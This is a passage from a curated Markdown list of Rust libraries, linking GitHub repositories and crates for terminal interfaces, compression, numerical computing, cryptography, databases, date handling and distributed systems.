[zhiburt/expectrl](https://github.com/zhiburt/expectrl) [[expectrl](https://crates.io/crates/expectrl)] — A library for controlling interactive programs in a pseudo-terminal [![build badge](https://github.com/zhiburt/expectrl/actions/workflows/ci.yml/badge.svg)](https://github.com/zhiburt/expectrl/actions/workflows/ci.yml) * Progress * [a8m/pb](https://github.com/a8m/pb) [[pbr](https://crates.io/crates/pbr)] — console progress bar for Rust * [console-rs/indicatif](https://github.com/console-rs/indicatif) [[indicatif](https://crates.io/crates/indicatif)] — indicate progress to users * [etienne-napoleone/spinach](https://github.com/etienne-napoleone/spinach) [[spinach](https://crates.io/crates/spinach)] — Practical spinner for Rust. [![CI](https://github.com/etienne-napoleone/spinach/actions/workflows/ci.yml/badge.svg)](https://github.com/etienne-napoleone/spinach/actions/workflows/ci.yml) * [FGRibreau/spinners](https://github.com/FGRibreau/spinners) [[spinners](https://crates.io/crates/spinners)] — 60+ elegant terminal spinners * Prompt * [hashmismatch/terminal_cli.rs](https://github.com/hashmismatch/terminal_cli.rs) [[terminal_cli](https://crates.io/crates/terminal_cli)] — build an interactive command prompt * [mikaelmello/inquire](https://github.com/mikaelmello/inquire) [[inquire](https://crates.io/crates/inquire)] — A library for building interactive prompts on terminals. [![Build status](https://github.com/mikaelmello/inquire/actions/workflows/build.yml/badge.svg?branch=main)](https://github.com/mikaelmello/inquire/actions) * [starship/starship](https://starship.rs/) [[starship](https://crates.io/crates/starship)] — A minimal, blazing fast, and extremely customizable prompt for any shell [![Build status](https://github.com/starship/starship/workflows/Main%20workflow/badge.svg?branch=master)](https://github.com/starship/starship/actions) * [ynqa/promkit](https://github.com/ynqa/promkit) [[promkit](https://crates.io/crates/promkit)] — A toolkit for building interactive command-line tools [![Build status](https://github.com/ynqa/promkit/workflows/promkit/badge.svg?branch=master)](https://github.com/ynqa/promkit/actions) * Style * [colored](https://github.com/colored-rs/colored) [[colored](https://crates.io/crates/colored)] — Coloring terminal so simple, you already know how to do it! * [console-rs/dialoguer](https://github.com/console-rs/dialoguer) [[dialoguer](https://crates.io/crates/dialoguer)] — A rust library for command line prompts and similar things. * [LukasKalbertodt/bunt](https://github.com/LukasKalbertodt/bunt) [[bunt](https://crates.io/crates/bunt)] — cross-platform terminal colors and styling with macros [![Build status](https://github.com/LukasKalbertodt/bunt/actions/workflows/ci.yml/badge.svg)](https://github.com/LukasKalbertodt/bunt/actions?query=workflow%3ACI+branch%3Amaster) * [LukasKalbertodt/term-painter](https://github.com/LukasKalbertodt/term-painter) [[term-painter](https://crates.io/crates/term-painter)] — cross-platform styled terminal output * [ogham/rust-ansi-term](https://github.com/ogham/rust-ansi-term) [[ansi_term](https://crates.io/crates/ansi_term)] — control colours and formatting on ANSI terminals * [SergioBenitez/yansi](https://github.com/SergioBenitez/yansi) [[yansi](https://crates.io/crates/yansi)] — A dead simple ANSI terminal color painting library * TUI * BearLibTerminal * [cfyzium/bearlibterminal](https://github.com/nabijaczleweli/BearLibTerminal.rs) [[bear-lib-terminal](https://crates.io/crates/bear-lib-terminal)] — [BearLibTerminal](https://github.com/tommyettinger/BearLibTerminal) bindings * [fdehau/tui-rs](https://github.com/fdehau/tui-rs) [[tui](https://crates.io/crates/tui)] — A TUI library inspired by [blessed-contrib](https://github.com/yaronn/blessed-contrib) and [termui](https://github.com/gizak/termui) * [gyscos/Cursive](https://github.com/gyscos/Cursive) [[cursive](https://crates.io/crates/cursive)] — build rich TUI applications * [ivanceras/titik](https://github.com/ivanceras/titik) - a crossplatform TUI widget library with the goal of providing interactive widgets * ncurses * [ihalila/pancurses](https://github.com/ihalila/pancurses) [[pancurses](https://crates.io/crates/pancurses)] — curses library, supports linux and windows * [jeaye/ncurses-rs](https://github.com/jeaye/ncurses-rs) [[ncurses](https://crates.io/crates/ncurses)] — [ncurses](https://www.gnu.org/software/ncurses/) bindings * [ogham/rust-term-grid](https://github.com/ogham/rust-term-grid) [[term_grid](https://crates.io/crates/term_grid)] — Rust library for putting things in a grid * [redox-os/termion](https://github.com/redox-os/termion) [[termion](https://crates.io/crates/termion)] — bindless library for controlling terminals/TTY * Termbox * [gchp/rustbox](https://github.com/gchp/rustbox) [[rustbox](https://crates.io/crates/rustbox)] — bindings to [Termbox](https://github.com/nsf/termbox) * [TimonPost/crossterm](https://github.com/crossterm-rs/crossterm) [[crossterm](https://crates.io/crates/crossterm)] — crossplatform terminal library ### Compression * [7z](https://7-zip.org/7z.html) * [dyz1990/sevenz-rust](https://github.com/dyz1990/sevenz-rust) [[sevenz-rust](https://crates.io/crates/sevenz-rust)] — A 7z decompressor/compressor written in pure rust. [![Rust](https://github.com/dyz1990/sevenz-rust/workflows/Rust/badge.svg?branch=main)](https://github.com/dyz1990/sevenz-rust/actions) * [Brotli](https://opensource.googleblog.com/2015/09/introducing-brotli-new-compression.html) * [dropbox/rust-brotli](https://github.com/dropbox/rust-brotli) — Brotli decompressor in Rust that optionally avoids the stdlib * [ende76/brotli-rs](https://github.com/ende76/brotli-rs) — implementation of Brotli compression * bzip2 * [alexcrichton/bzip2-rs](https://github.com/alexcrichton/bzip2-rs) — [libbz2](https://www.sourceware.org/bzip2/) bindings * gzip * [zopfli](https://github.com/zopfli-rs/zopfli) [[zopfli](https://crates.io/crates/zopfli)] — implementation of the Zopfli compression algorithm for higher quality deflate or zlib compression * gzp * [sstadick/gzp](https://github.com/sstadick/gzp/) - multi-threaded encoding and decoding of deflate formats and snappy * miniz * [rust-lang/flate2-rs](https://github.com/rust-lang/flate2-rs) — [miniz](https://code.google.com/archive/p/miniz) bindings [![build badge](https://github.com/rust-lang/flate2-rs/workflows/CI/badge.svg?branch=master)](https://github.com/rust-lang/flate2-rs/actions) * snappy * [JeffBelgum/rust-snappy](https://github.com/JeffBelgum/rust-snappy) — [snappy](https://github.com/google/snappy) bindings * tar * [alexcrichton/tar-rs](https://github.com/alexcrichton/tar-rs) — tar archive reading/writing in Rust * zip * [zip-rs/zip](https://github.com/zip-rs/zip) — read and write ZIP archives ### Computation * [argmin-rs/argmin](https://github.com/argmin-rs/argmin) [[argmin](https://crates.io/crates/argmin)] — A pure Rust optimization library * [BLAS](https://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms) [[blas](https://crates.io/keywords/blas)] * [mikkyang/rust-blas](https://github.com/mikkyang/rust-blas) — BLAS bindings * [calebwin/emu](https://github.com/calebwin/emu) — A language for GPGPU numerical computing from a Rust macro * [dimforge/nalgebra](https://github.com/dimforge/nalgebra) — low-dimensional linear algebra library * [GSL](http://www.gnu.org/software/gsl/) * [GuillaumeGomez/rust-GSL](https://github.com/GuillaumeGomez/rust-GSL) — GSL bindings * [LAPACK](https://en.wikipedia.org/wiki/LAPACK) * [stainless-steel/lapack](https://github.com/blas-lapack-rs/lapack) — LAPACK bindings * Parallel * [arrayfire/arrayfire-rust](https://github.com/arrayfire/arrayfire-rust) — [Arrayfire](https://github.com/arrayfire) bindings * [autumnai/collenchyma](https://github.com/autumnai/collenchyma) — An extensible, pluggable, backend-agnostic framework for parallel, high-performance computations on CUDA, OpenCL and common host CPU. * [luqmana/rust-opencl](https://github.com/luqmana/rust-opencl) — [OpenCL](https://www.khronos.org/opencl/) bindings * Scirust * [indigits/scirust](https://github.com/indigits/scirust) — scientific computing library in Rust * Statrs * [statrs-dev/statrs](https://github.com/statrs-dev/statrs) — Robust statistical computation library in Rust ### Concurrency * [crossbeam-rs/crossbeam](https://github.com/crossbeam-rs/crossbeam) – Support for parallelism and low-level concurrency in Rust * [orium/archery](https://github.com/orium/archery) [[archery](https://crates.io/crates/archery)] — Library to abstract from `Rc`/`Arc` pointer types. [![build badge](https://github.com/orium/archery/workflows/CI/badge.svg)](https://github.com/orium/archery/actions?query=workflow%3ACI) * [Rayon](https://github.com/rayon-rs/rayon) – A data parallelism library for Rust * [rustcc/coroutine-rs](https://github.com/rustcc/coroutine-rs) – Coroutine Library in Rust * [zonyitoo/coio-rs](https://github.com/zonyitoo/coio-rs) – Coroutine I/O for Rust ### Configuration * [andoriyu/uclicious](https://github.com/andoriyu/uclicious) [[uclicious](https://crates.io/crates/uclicious)] — [libUCL](https://github.com/vstakhov/libucl) based feature-rich configuration library. [![CircleCI](https://circleci.com/gh/vstakhov/libucl.svg?style=svg)](https://app.circleci.com/pipelines/github/vstakhov/libucl) * [Kixunil/configure_me](https://github.com/Kixunil/configure_me) [[configure_me](https://crates.io/crates/configure_me)] — library for processing application configuration easily * [mehcode/config-rs](https://github.com/mehcode/config-rs) [[config](https://crates.io/crates/config)] — Layered configuration system for Rust applications (with strong support for 12-factor applications). * [softprops/envy](https://github.com/softprops/envy) - deserialize env vars into typesafe structs [![Main](https://github.com/softprops/envy/actions/workflows/main.yml/badge.svg)](https://github.com/softprops/envy/actions/workflows/main.yml) ### Cryptography [[crypto](https://crates.io/keywords/crypto), [cryptography](https://crates.io/keywords/cryptography)] * [arkworks-rs/circom-compat](https://github.com/arkworks-rs/circom-compat) - Arkworks bindings to Circom's R1CS, for Groth16 Proof and Witness generation in Rust. * [briansmith/ring](https://github.com/briansmith/ring) — Safe, fast, small crypto using Rust and BoringSSL's cryptography primitives. * [briansmith/webpki](https://github.com/briansmith/webpki) — Web PKI TLS X.509 certificate validation in Rust. * [conradkleinespel/rooster](https://github.com/conradkleinespel/rooster) [[rooster](https://crates.io/crates/rooster)] — Simple password manager to use in your terminal * [cossacklabs/themis](https://github.com/cossacklabs/themis) [[themis](https://crates.io/crates/themis)] — a high-level cryptographic library for solving typical data security tasks, best fit for multi-platform apps. [![build badge](https://circleci.com/gh/cossacklabs/themis/tree/master.svg?style=shield)](https://app.circleci.com/pipelines/github/cossacklabs/themis) * [DaGenix/rust-crypto](https://github.com/DaGenix/rust-crypto) — cryptographic algorithms in Rust * [dalek-cryptography/curve25519-dalek](https://github.com/dalek-cryptography/curve25519-dalek) — Pure Rust implementation of Curve25519 operations * [dalek-cryptography/ed25519-dalek](https://github.com/dalek-cryptography/ed25519-dalek) — Pure Rust implementation of Ed25519 digital signatures * [dalek-cryptography/x25519-dalek](https://github.com/dalek-cryptography/x25519-dalek) — Pure Rust implementation of X25519 key exchange * [debris/tiny-keccak](https://github.com/debris/tiny-keccak) — Pure Rust implementation of the Keccak family (SHA3) * [exonum/exonum](https://github.com/exonum/exonum) [[exonum](https://crates.io/crates/exonum)] — extensible framework for blockchain projects * [facebook/opaque-ke](https://github.com/facebook/opaque-ke) — Pure Rust implementation of the recent [OPAQUE](https://datatracker.ietf.org/doc/draft-krawczyk-cfrg-opaque/) password-authenticated key exchange. [![build badge](https://github.com/facebook/opaque-ke/workflows/Rust%20CI/badge.svg?branch=master)](https://github.com/facebook/opaque-ke) * [klutzy/suruga](https://github.com/klutzy/suruga) — A Rust implementation of [TLS 1.2](https://datatracker.ietf.org/doc/html/rfc5246) * [kornelski/rust-security-framework](https://github.com/kornelski/rust-security-framework) — Bindings for Security Framework (OSX native) * [libOctavo/octavo](https://github.com/libOctavo/octavo) — Modular hash and crypto library in Rust * [orion-rs/orion](https://github.com/orion-rs/orion) — This library aims to provide easy and usable crypto. 'Usable' meaning exposing high-level API's that are easy to use and hard to misuse. [![Tests](https://github.com/orion-rs/orion/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/orion-rs/orion/actions/workflows/test.yml) * [racum/rust-djangohashers](https://github.com/racum/rust-djangohashers) [[djangohashers](https://crates.io/crates/djangohashers)] — A Rust port of the password primitives used in the Django Project. It doesn't require Django, only hashes and validates passwords according to its style. * [RustCrypto/hashes](https://github.com/RustCrypto/hashes) — Collection of cryptographic hash functions written in pure Rust * [rustls/rustls](https://github.com/rustls/rustls) — A Rust implementation of TLS * [sfackler/rust-native-tls](https://github.com/sfackler/rust-native-tls) — Bindings for native TLS libraries * [sfackler/rust-openssl](https://github.com/sfackler/rust-openssl) — [OpenSSL](https://www.openssl.org/) bindings * [sorairolake/scryptenc-rs](https://github.com/sorairolake/scryptenc-rs) [[scryptenc](https://crates.io/crates/scryptenc)] — An implementation of the scrypt encrypted data format. [![CI](https://github.com/sorairolake/scryptenc-rs/workflows/CI/badge.svg?branch=develop)](https://github.com/sorairolake/scryptenc-rs/actions?query=workflow%3ACI) * [vityafx/randomorg](https://github.com/vityafx/randomorg) - A random.org client library. [![Crates badge](https://img.shields.io/crates/v/randomorg.svg)](https://crates.io/crates/randomorg) * [w3f/schnorrkel](https://github.com/w3f/schnorrkel) - Schnorr VRFs and signatures on the Ristretto group ### Data processing * [amv-dev/yata](https://github.com/amv-dev/yata) — high perfomance technical analysis library [![Build Status](https://img.shields.io/github/workflow/status/amv-dev/yata/Rust?branch=master)](https://github.com/amv-dev/yata/actions?query=workflow%3ARust) * [bluss/ndarray](https://github.com/rust-ndarray/ndarray) — N-dimensional array with array views, multidimensional slicing, and efficient operations * [kernelmachine/utah](https://github.com/kernelmachine/utah) — Dataframe structure and operations in Rust * [pola-rs/polars](https://github.com/pola-rs/polars) - Fast feature complete DataFrame library ![Build and test](https://github.com/pola-rs/polars/workflows/Build%20and%20test/badge.svg?branch=master) * [weld-project/weld](https://github.com/weld-project/weld) — High-performance runtime for data analytics applications ### Data streaming * [ArroyoSystems/arroyo](https://github.com/ArroyoSystems/arroyo) - High-performance real-time analytics in Rust and SQL [![CI](https://github.com/ArroyoSystems/arroyo/actions/workflows/ci.yml/badge.svg?branch=master)](https://github.com/ArroyoSystems/arroyo/actions) * [infinyon/fluvio](https://github.com/infinyon/fluvio) - Programmable data streaming platform [![CI](https://github.com/infinyon/fluvio/workflows/CI/badge.svg?branch=stable)](https://github.com/infinyon/fluvio/actions) ### Data structures * [becheran/grid](https://github.com/becheran/grid) [[grid](https://crates.io/crates/grid)] — Provide a two dimensional data structure for rust that is easy to use and fast. [![build status](https://github.com/becheran/grid/actions/workflows/rust.yml/badge.svg)](https://github.com/becheran/grid/actions) * [billyevans/tst](https://github.com/billyevans/tst) [[tst](https://crates.io/crates/tst)] — Ternary search tree collection * [contain-rs](https://github.com/contain-rs) — Extension of Rust's std::collections * [danielpclark/array_tool](https://github.com/danielpclark/array_tool) — Array helpers for Rust. Some of the most common methods you would use on Arrays made available on Vectors. Polymorphic implementations for handling most of your use cases. * [fizyk20/generic-array](https://github.com/fizyk20/generic-array) – a hack to allow for arrays sized by typenums * [garro95/priority-queue](https://github.com/garro95/priority-queue)[[priority-queue](https://crates.io/crates/priority-queue)] — A priority queue that implements priority changes. * [greyblake/nutype](https://github.com/greyblake/nutype) [[nutype](https://crates.io/crates/nutype)] — define newtype structures with validation constraints. [![build status](https://github.com/greyblake/nutype/actions/workflows/ci.yml/badge.svg)](https://github.com/greyblake/nutype/actions) * [mrhooray/kdtree-rs](https://github.com/mrhooray/kdtree-rs) — K-dimensional tree in Rust for fast geospatial indexing and nearest neighbors lookup * [orium/rpds](https://github.com/orium/rpds) [[rpds](https://crates.io/crates/rpds)] — Persistent data structures in Rust. [![build badge](https://github.com/orium/rpds/workflows/CI/badge.svg)](https://github.com/orium/rpds/actions?query=workflow%3ACI) * [RoaringBitmap/roaring-rs](https://github.com/RoaringBitmap/roaring-rs) – Roaring Bitmaps in Rust * [rust-itertools/itertools](https://github.com/rust-itertools/itertools) — * [tnballo/scapegoat](https://github.com/tnballo/scapegoat) [[scapegoat](https://crates.io/crates/scapegoat)] — Safe, fallible, stack-only alternative to `BTreeSet` and `BTreeMap`. [![GitHub Actions](https://github.com/tnballo/scapegoat/workflows/test/badge.svg?branch=master)](https://github.com/tnballo/scapegoat/actions) * [xfix/enum-map](https://github.com/xfix/enum-map) [[enum-map](https://crates.io/crates/enum-map)] — An optimized map implementation for enums using an array to store values. * [yamafaktory/hypergraph](https://github.com/yamafaktory/hypergraph) [[hypergraph](https://crates.io/crates/hypergraph)] — Hypergraph is a data structure library to generate directed hypergraphs. [![ci](https://github.com/yamafaktory/hypergraph/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/yamafaktory/hypergraph/actions/workflows/ci.yml) ### Data visualization * [blitzarx1/egui_graphs](https://github.com/blitzarx1/egui_graphs) - [[egui_graphs](https://crates.io/crates/egui_graphs)] - Interactive graph visualization widget for rust powered by egui and petgraph. [![Crates.io](https://img.shields.io/crates/v/egui_graphs)](https://crates.io/crates/egui_graphs) [![docs.rs](https://img.shields.io/docsrs/egui_graphs)](https://docs.rs/egui_graphs) * [djduque/pgfplots](https://github.com/djduque/pgfplots) [[pgfplots](https://crates.io/crates/pgfplots)] — A Rust library to generate publication-quality figures. [![build](https://github.com/DJDuque/pgfplots/actions/workflows/rust.yml/badge.svg)](https://github.com/DJDuque/pgfplots/actions/workflows/rust.yml) * [igiagkiozis/plotly](https://github.com/igiagkiozis/plotly) — Plotly for Rust. * [mazznoer/colorgrad-rs](https://github.com/mazznoer/colorgrad-rs) [[colorgrad](https://crates.io/crates/colorgrad)] — Rust color scales library for data visualization, charts, games, maps, generative art and others. * [milliams/plotlib](https://github.com/milliams/plotlib) — * [plotters](https://github.com/plotters-rs/plotters) — [![build badge](https://github.com/plotters-rs/plotters/workflows/CI/badge.svg)](https://github.com/plotters-rs/plotters/actions) * [rerun](https://github.com/rerun-io/rerun) — [[rerun](https://crates.io/crates/rerun)] — An SDK for logging computer vision and robotics data (tensors, point clouds, etc) paired with a visualizer for exploring that data over time. * [saresend/gust](https://github.com/saresend/Gust) — ### Database [[database](https://crates.io/keywords/database)] * NoSQL [[nosql](https://crates.io/keywords/nosql)] * [ArangoDB](https://www.arangodb.com) * [Aragog](https://gitlab.com/qonfucius/aragog) [[aragog](https://crates.io/crates/aragog)] - A Lightweight ArangoDB Object document, relational and graph mapper [![pipeline status](https://gitlab.com/qonfucius/aragog/badges/master/pipeline.svg)](https://gitlab.com/qonfucius/aragog/-/commits/master) * [Arangors](https://github.com/fMeow/arangors) [[arangors](https://crates.io/crates/arangors)] - An ArangoDB driver for Rust * [Cassandra](https://cassandra.apache.org/_/index.html) [[cassandra](https://crates.io/keywords/cassandra), [cql](https://crates.io/keywords/cql)] * [AlexPikalov/cdrs](https://github.com/AlexPikalov/cdrs) [[cdrs](https://crates.io/crates/cdrs)] — native client written in Rust * [krojew/cdrs-tokio](https://github.com/krojew/cdrs-tokio) [![build badge](https://github.com/krojew/cdrs-tokio/actions/workflows/rust.yml/badge.svg)](https://github.com/krojew/cdrs-tokio/actions) * [[cassandra-protocol](https://crates.io/crates/cassandra-protocol)] - Cassandra protocol implementation in Rust * [[cdrs-tokio](https://crates.io/crates/cdrs-tokio)] - production-ready async Apache Cassandra driver written in pure Rust * [Metaswitch/cassandra-rs](https://github.com/Metaswitch/cassandra-rs) — bindings to the DataStax C/C++ client * CouchDB [[couchdb](https://crates.io/keywords/couchdb)] * [chill-rs/chill](https://github.com/chill-rs/chill) [[couchdb](https://crates.io/crates/chill)] — A Rust client for the CouchDB REST API * [DynamoDB](https://aws.amazon.com/dynamodb/) [[dynamodb](https://crates.io/keywords/dynamodb)] * [softprops/dynomite](https://github.com/softprops/dynomite) - A library for strongly-typed and convenient interaction with `rusoto_dynamodb` [![build badge](https://github.com/softprops/dynomite/workflows/Main/badge.svg?branch=master)](https://github.com/softprops/dynomite/actions) * Elasticsearch [[elasticsearch](https://crates.io/keywords/elasticsearch)] * [benashford/rs-es](https://github.com/benashford/rs-es) [[rs-es](https://crates.io/crates/rs-es)] — A Rust client for the [Elastic](https://www.elastic.co/) REST API * [elastic-rs/elastic](https://github.com/elastic-rs/elastic) [[elastic](https://crates.io/crates/elastic)] — elastic is an efficient, modular API client for Elasticsearch written in Rust [![build badge](https://ci.appveyor.com/api/projects/status/csa78tcumdpnbur2?svg=true)](https://ci.appveyor.com/project/KodrAus/elastic) * etcd * [jimmycuadra/rust-etcd](https://github.com/jimmycuadra/rust-etcd) [[etcd](https://crates.io/crates/etcd)] — A client library for CoreOS's etcd. * [lodrem/etcd-rs](https://github.com/lodrem/etcd-rs) — An asynchronous etcd client for rust [![CI](https://github.com/lodrem/etcd-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/lodrem/etcd-rs/actions/workflows/ci.yml) * ForestDB * [vhbit/sherwood](https://github.com/vhbit/sherwood) — [ForestDB](https://github.com/couchbase/forestdb) bindings * [InfluxDB](https://www.influxdata.com/) * [driftluo/InfluxDBClient-rs](https://github.com/driftluo/InfluxDBClient-rs) — Synchronization interface * LevelDB * [skade/leveldb](https://github.com/skade/leveldb) — [LevelDB](https://github.com/google/leveldb) bindings * LMDB [[lmdb](https://crates.io/keywords/lmdb)] * [vhbit/lmdb-rs](https://github.com/vhbit/lmdb-rs) [[lmdb-rs](https://crates.io/crates/lmdb-rs)] — [LMDB](https://www.symas.com/symas-embedded-database-lmdb) bindings * MongoDB [[mongodb](https://crates.io/keywords/mongodb)] * [mongodb/mongo-rust-driver](https://github.com/mongodb/mongo-rust-driver) [[mongodb](https://crates.io/crates/mongodb)] — [MongoDB](https://www.mongodb.com/) bindings * [PickleDB](https://pythonhosted.org/pickleDB/) * [seladb/pickledb-rs](https://github.com/seladb/pickledb-rs) — a lightweight and simple key-value store, heavily inspired by Python's PickleDB. * [PoloDB](https://www.polodb.org/) * [PoloDB](https://github.com/PoloDB/PoloDB) - An embedded JSON-based database has API similar to MongoDB. ![GitHub Workflow Status](https://img.shields.io/github/actions/workflow/status/PoloDB/PoloDB/rust.yml) * [Redb](https://www.redb.org/) * [Redb](https://github.com/cberner/redb) - An embedded key-value database written in pure Rust. It provides a similar interface to other embedded key-value stores such as rocksdb and lmdb. ![GitHub Workflow Status](https://github.com/cberner/redb/actions/workflows/ci.yml/badge.svg) * Redis [[redis](https://crates.io/keywords/redis)] * [aembke/fred](https://github.com/aembke/fred.rs) [[fred](https://crates.io/crates/fred)] - A high level async [Redis](https://redis.io/) client for Rust with Tokio. [![CircleCI](https://circleci.com/gh/aembke/fred.rs/tree/main.svg?style=svg)]([https://circleci.com/gh/aembke/fred.rs/tree/main](https://app.circleci.com/pipelines/github/aembke/fred.rs?branch=main)) * [redis-rs](https://github.com/redis-rs/redis-rs) — [Redis](https://redis.io/) library in Rust [![Rust](https://github.com/redis-rs/redis-rs/actions/workflows/rust.yml/badge.svg)](https://github.com/redis-rs/redis-rs/actions/workflows/rust.yml) * [RocksDB](https://rocksdb.org/) * [rust-rocksdb/rust-rocksdb](https://github.com/rust-rocksdb/rust-rocksdb) — RocksDB bindings [![RocksDB CI](https://github.com/rust-rocksdb/rust-rocksdb/actions/workflows/rust.yml/badge.svg?branch=master)](https://github.com/rust-rocksdb/rust-rocksdb/actions/workflows/rust.yml) * [SurrealDB](https://surrealdb.com/) * [surrealdb/surrealdb](https://github.com/surrealdb/surrealdb) — SurrealDB embedded document-graph database * [UnQLite](https://unqlite.org/) * [zitsen/unqlite.rs](https://github.com/zitsen/unqlite.rs) — UnQLite bindings * [ZooKeeper](https://zookeeper.apache.org/) * [bonifaido/rust-zookeeper](https://github.com/bonifaido/rust-zookeeper) [[zookeeper](https://crates.io/crates/zookeeper)] — A client library for Apache ZooKeeper. * [krojew/rust-zookeeper](https://github.com/krojew/rust-zookeeper) [[zookeeper-async](https://crates.io/crates/zookeeper-async)] - Async Zookeeper client written 100% in Rust, based on tokio. ![build status](https://github.com/krojew/rust-zookeeper/actions/workflows/rust.yml/badge.svg) * OGM [[ogm](https://crates.io/keywords/ogm)] * [Aragog](https://gitlab.com/qonfucius/aragog) [[aragog](https://crates.io/crates/aragog)] - A Lightweight ArangoDB Object document, relational and graph mapper [![pipeline status](https://gitlab.com/qonfucius/aragog/badges/master/pipeline.svg)](https://gitlab.com/qonfucius/aragog/-/commits/master) * ORM [[orm](https://crates.io/keywords/orm)] * [Brendonovich/prisma-client-rust](https://github.com/Brendonovich/prisma-client-rust) — An autogenerated query builder that provides simple and fully type-safe database access using the Prisma ecosystem. [![Test Status](https://img.shields.io/github/workflow/status/Brendonovich/prisma-client-rust/CI?label=tests&style=flat-square)](https://github.com/Brendonovich/prisma-client-rust/actions) * [diesel-rs/diesel](https://github.com/diesel-rs/diesel) — an ORM and Query builder for Rust * [ivanceras/rustorm](https://github.com/ivanceras/rustorm) — an ORM for Rust * [rbatis/rbatis](https://github.com/rbatis/rbatis) — Rust ORM Framework High Performance(JSON based) * [SeaQL/sea-orm](https://github.com/SeaQL/sea-orm) — 🐚 An async & dynamic ORM for Rust [![crate](https://img.shields.io/crates/v/sea-orm.svg)](https://crates.io/crates/sea-orm) [![docs](https://img.shields.io/docsrs/sea-orm/latest)](https://docs.rs/sea-orm) [![build status](https://github.com/SeaQL/sea-orm/actions/workflows/rust.yml/badge.svg)](https://github.com/SeaQL/sea-orm/actions/workflows/rust.yml) * [SeaQL/seaography](https://github.com/SeaQL/seaography) — 🧭 GraphQL framework for SeaORM [![crate](https://img.shields.io/crates/v/seaography.svg)](https://crates.io/crates/seaography) [![docs](https://img.shields.io/docsrs/seaography/latest)](https://docs.rs/seaography) [![build status](https://github.com/SeaQL/seaography/actions/workflows/tests.yaml/badge.svg)](https://github.com/SeaQL/seaography/actions/workflows/tests.yaml) * [sfackler/r2d2](https://github.com/sfackler/r2d2) — generic connection pool * SQL [[sql](https://crates.io/keywords/sql)] * Generic * [launchbadge/sqlx](https://github.com/launchbadge/sqlx) - async PostgreSQL/MySQL/SQLite connection pool with strong typing support [![build badge](https://img.shields.io/github/workflow/status/launchbadge/sqlx/Rust/master?style=flat-square)](https://github.com/launchbadge/sqlx) * [SeaQL/sea-query](https://github.com/SeaQL/sea-query) - 🔱 A dynamic SQL query builder for MySQL, Postgres and SQLite [![crate](https://img.shields.io/crates/v/sea-query.svg)](https://crates.io/crates/sea-query) [![docs](https://img.shields.io/docsrs/sea-query/latest)](https://docs.rs/sea-query) [![build status](https://github.com/SeaQL/sea-query/actions/workflows/rust.yml/badge.svg)](https://github.com/SeaQL/sea-query/actions/workflows/rust.yml) * [SeaQL/sea-schema](https://github.com/SeaQL/sea-schema) - 🌿 SQL schema definition and discovery [![crate](https://img.shields.io/crates/v/sea-schema.svg)](https://crates.io/crates/sea-schema) [![docs](https://img.shields.io/docsrs/sea-schema/latest)](https://docs.rs/sea-schema) [![build status](https://github.com/SeaQL/sea-schema/actions/workflows/rust.yml/badge.svg)](https://github.com/SeaQL/sea-schema/actions/workflows/rust.yml) * Microsoft SQL * [prisma/tiberius](https://github.com/prisma/tiberius) — [![Cargo tests](https://github.com/prisma/tiberius/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/prisma/tiberius/actions/workflows/test.yml) * MySql [[mysql](https://crates.io/keywords/mysql)] * [AgilData/mysql-proxy-rs](https://github.com/AgilData/mysql-proxy-rs) — A MySQL Proxy [![CircleCI](https://circleci.com/gh/AgilData/mysql-proxy-rs/tree/master.svg?style=svg)](https://app.circleci.com/pipelines/github/AgilData/mysql-proxy-rs?branch=master) * [blackbeam/mysql_async](https://github.com/blackbeam/mysql_async) [[mysql_async](https://crates.io/crates/mysql_async)] — asyncronous Rust Mysql driver based on Tokio. [![CircleCI](https://circleci.com/gh/blackbeam/mysql_async/tree/master.svg?style=shield)](https://app.circleci.com/pipelines/github/blackbeam/mysql_async?branch=master) * [blackbeam/rust-mysql-simple](https://github.com/blackbeam/rust-mysql-simple) [[mysql](https://crates.io/crates/mysql)] — A native MySql client * Oracle * [kubo/rust-oracle](https://github.com/kubo/rust-oracle) [[oracle](https://crates.io/crates/oracle)] — Oracle driver for Rust [![build badge](https://github.com/kubo/rust-oracle/actions/workflows/run-tests.yml/badge.svg?branch=master)](https://github.com/kubo/rust-oracle/actions/workflows/run-tests.yml) * PostgreSql [[postgres](https://crates.io/keywords/postgres), [postgresql](https://crates.io/keywords/postgresql)] * [sfackler/rust-postgres](https://github.com/sfackler/rust-postgres) [[postgres](https://crates.io/crates/postgres)] — A native [PostgreSQL](https://www.postgresql.org/) client * Sqlite [[sqlite](https://crates.io/keywords/sqlite)] * [rusqlite](https://github.com/rusqlite/rusqlite) — [Sqlite3](https://www.sqlite.org/index.html) bindings ### Date and time [[date](https://crates.io/keywords/date), [time](https://crates.io/keywords/time)] * [chronotope/chrono](https://github.com/chronotope/chrono) — * [Mnwa/ms](https://github.com/Mnwa/ms) [[ms-converter](https://crates.io/crates/ms-converter)] — it's a library for converting human-like times to milliseconds [![build badge](https://github.com/Mnwa/ms/workflows/build/badge.svg?branch=master)](https://github.com/Mnwa/ms/actions?query=workflow%3Abuild) * [sorairolake/nt-time](https://github.com/sorairolake/nt-time) [[nt-time](https://crates.io/crates/nt-time)] — A Windows file time library. [![CI](https://github.com/sorairolake/nt-time/workflows/CI/badge.svg?branch=develop)](https://github.com/sorairolake/nt-time/actions?query=workflow%3ACI) * [time-rs/time](https://github.com/time-rs/time) — [![build badge](https://github.com/time-rs/time/workflows/Build/badge.svg)](https://github.com/time-rs/time/actions) ### Distributed systems * Antimony * [antimonyproject/antimony](https://github.com/antimonyproject/antimony) [[antimony](https://crates.io/crates/antimony)] — stream processing / distributed computation platform * Apache Kafka * [fede1024/rust-rdkafka](https://github.com/fede1024/rust-rdkafka) [[rdkafka](https://crates.io/crates/rdkafka)] — [librdkafka](https://github.com/confluentinc/librdkafka) bindings * [gklijs/schema_registry_converter](https://github.com/gklijs/schema_registry_converter) [[schema_registry_converter](https://crates.io/crates/schema_registry_converter)] — to integrate with [confluent schema registry](https://www.confluent.io/product/confluent-platform/data-compatibility/) * [kafka-rust/kafka-rust](https://github.com/kafka-rust/kafka-rust) — * Beanstalkd * [schickling/rust-beanstalkd](https://github.com/schickling/rust-beanstalkd) — [Beanstalkd](https://github.com/beanstalkd/beanstalkd) bindings * HDFS * [hyunsik/hdfs-rs](https://github.com/hyunsik/hdfs-rs) [[hdfs](https://crates.io/crates/hdfs)] — libhdfs bindings * Other * [build-trust/ockam](https://github.com/build-trust/ockam) 